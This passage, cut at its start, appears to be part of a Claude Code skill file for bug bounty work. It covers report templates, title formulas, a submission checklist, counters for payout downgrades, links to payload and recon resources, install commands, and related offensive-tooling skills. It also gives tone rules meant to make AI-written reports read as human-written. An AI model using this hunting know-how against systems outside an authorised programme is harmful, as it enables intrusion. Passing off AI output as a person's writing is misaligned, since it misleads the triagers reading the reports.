1415Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
1416```
1417
1418## Bugcrowd Report Template
1419
1420```
1421Title: [Vuln] at [endpoint] -- [Impact in one line]
1422
1423Bug Type: [IDOR/SSRF/XSS/etc]
1424Target: [URL or component]
1425Severity: [P1/P2/P3/P4]
1426
1427Description:
1428[Root cause + exact location]
1429
1430Reproduction:
14311. [step]
14322. [step]
14333. [step]
1434
1435Impact:
1436[Concrete business impact]
1437
1438Fix Suggestion:
1439[Specific remediation]
1440```
1441
1442## Human Tone Rules (Avoid AI-Sounding Writing)
1443- Start sentences with the impact, not the vulnerability name
1444- Write like you're explaining to a smart developer, not a textbook
1445- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
1446- One concrete example beats three abstract sentences
1447- No em dashes, no "comprehensive/leverage/seamless/ensure"
1448
1449## Report Title Formula
1450
1451```
1452[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
1453```
1454
1455**Good titles:**
1456```
1457IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
1458Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
1459Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
1460SSRF via image import URL parameter reaches AWS EC2 metadata service
1461Race condition in coupon redemption allows same code to be used unlimited times
1462```
1463
1464**Bad titles:**
1465```
1466IDOR vulnerability found
1467Broken access control
1468XSS in user input
1469Security issue in API
1470```
1471
1472## Impact Statement Formula (First Paragraph)
1473
1474```
1475An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
1476This requires [prerequisites] and leaves [detection/reversibility].
1477```
1478
1479## The 60-Second Pre-Submit Checklist
1480
1481```
1482[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
1483[ ] First sentence states exact impact in plain English
1484[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
1485[ ] Response showing the bug is included (screenshot or response body)
1486[ ] Two test accounts used (not just one account testing itself)
1487[ ] CVSS score calculated and included
1488[ ] Recommended fix is one sentence (not a lecture)
1489[ ] No typos in the endpoint path or parameter names
1490[ ] Report is < 600 words (triagers skim long reports)
1491[ ] Severity claimed matches impact described (don't overclaim)
1492```
1493
1494## Severity Escalation Language
1495
1496When payout is being downgraded, use these counters:
1497
1498| Program Says | You Counter With |
1499|---|---|
1500| "Requires authentication" | "Attacker needs only a free account (no special role)" |
1501| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
1502| "Already known" | "Show me the report number -- I searched and found none" |
1503| "By design" | "Show me the documentation that states this is intended" |
1504| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
1505
1506---
1507
1508# RESOURCES
1509
1510## Bug Bounty Platforms
1511- [HackerOne Hacktivity](https://hackerone.com/hacktivity) -- Disclosed reports
1512- [Bugcrowd Crowdstream](https://bugcrowd.com/crowdstream) -- Public findings
1513- [Intigriti Leaderboard](https://www.intigriti.com/researcher/leaderboard)
1514
1515## Learning
1516- [PortSwigger Web Academy](https://portswigger.net/web-security) -- Free vuln labs (best)
1517- [HackTricks](https://book.hacktricks.xyz) -- Attack technique reference
1518- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) -- Payload reference
1519- [Solodit](https://solodit.cyfrin.io) -- 50K+ searchable audit findings (Web3)
1520- [ProjectDiscovery Chaos](https://chaos.projectdiscovery.io) -- Free subdomain datasets
1521
1522## Wordlists
1523- [SecLists](https://github.com/danielmiessler/SecLists) -- Comprehensive wordlists
1524- [HowToHunt](https://github.com/KathanP19/HowToHunt) -- Step-by-step vuln hunting
1525- [DefaultCreds](https://github.com/ihebski/DefaultCreds-cheat-sheet) -- Default credentials
1526
1527## Payload Databases
1528- [XSSHunter](https://xsshunter.trufflesecurity.com/) -- Blind XSS detection
1529- [interactsh](https://app.interactsh.com) -- OOB callback server
1530
1531---
1532
1533# INSTALLATION (Claude Code Skill)
1534
1535To use this as a Claude Code skill, copy this file to your skills directory:
1536
1537```bash
1538# Option A: Clone the repo and link the skill
1539git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
1540ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
1541
1542# Option B: Direct copy
1543mkdir -p ~/.claude/skills/bug-bounty
1544curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
1545 -o ~/.claude/skills/bug-bounty/SKILL.md
1546```
1547
1548Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
1549
1550---
1551
1552## Related Skills & Chains
1553
1554- **`bug-bounty`** — When the user wants general bug-bounty guidance rather than tool location. Workflow primitive: `bug-bounty` is the orchestrator and routes to topic-matched hunt-* skills; this skill (`bb-local-toolkit`) answers "where is the tool / wordlist / clone on disk for that hunt?"
1555- **`web2-recon`** — When recon needs to be run via specific tool invocations. Workflow primitive: this skill names the local install path (e.g., `~/tools/SecretFinder/.venv/bin/activate`); `web2-recon` is the pipeline that strings those tool paths together.
1556- **`offensive-osint`** — When the operational arsenal (probes, regexes, wordlists) needs a tool to execute it. Workflow primitive: `offensive-osint` provides the regex / probe; this skill provides the local trufflehog / jhaddix / SecLists clone that runs it.
1557- **`security-arsenal`** — When the payload library needs a tool to fire payloads at scale. Workflow primitive: `security-arsenal` is the payload syntax; this skill names the ffuf / dalfox / ghauri install that delivers them.
1558- **`bb-methodology`** — When Phase 1 (Recon) or Phase 3 (Discovery) needs tooling routed. Workflow primitive: `bb-methodology`'s "Tool Routing by Phase" table is general; this skill resolves the abstract tool names to concrete local paths.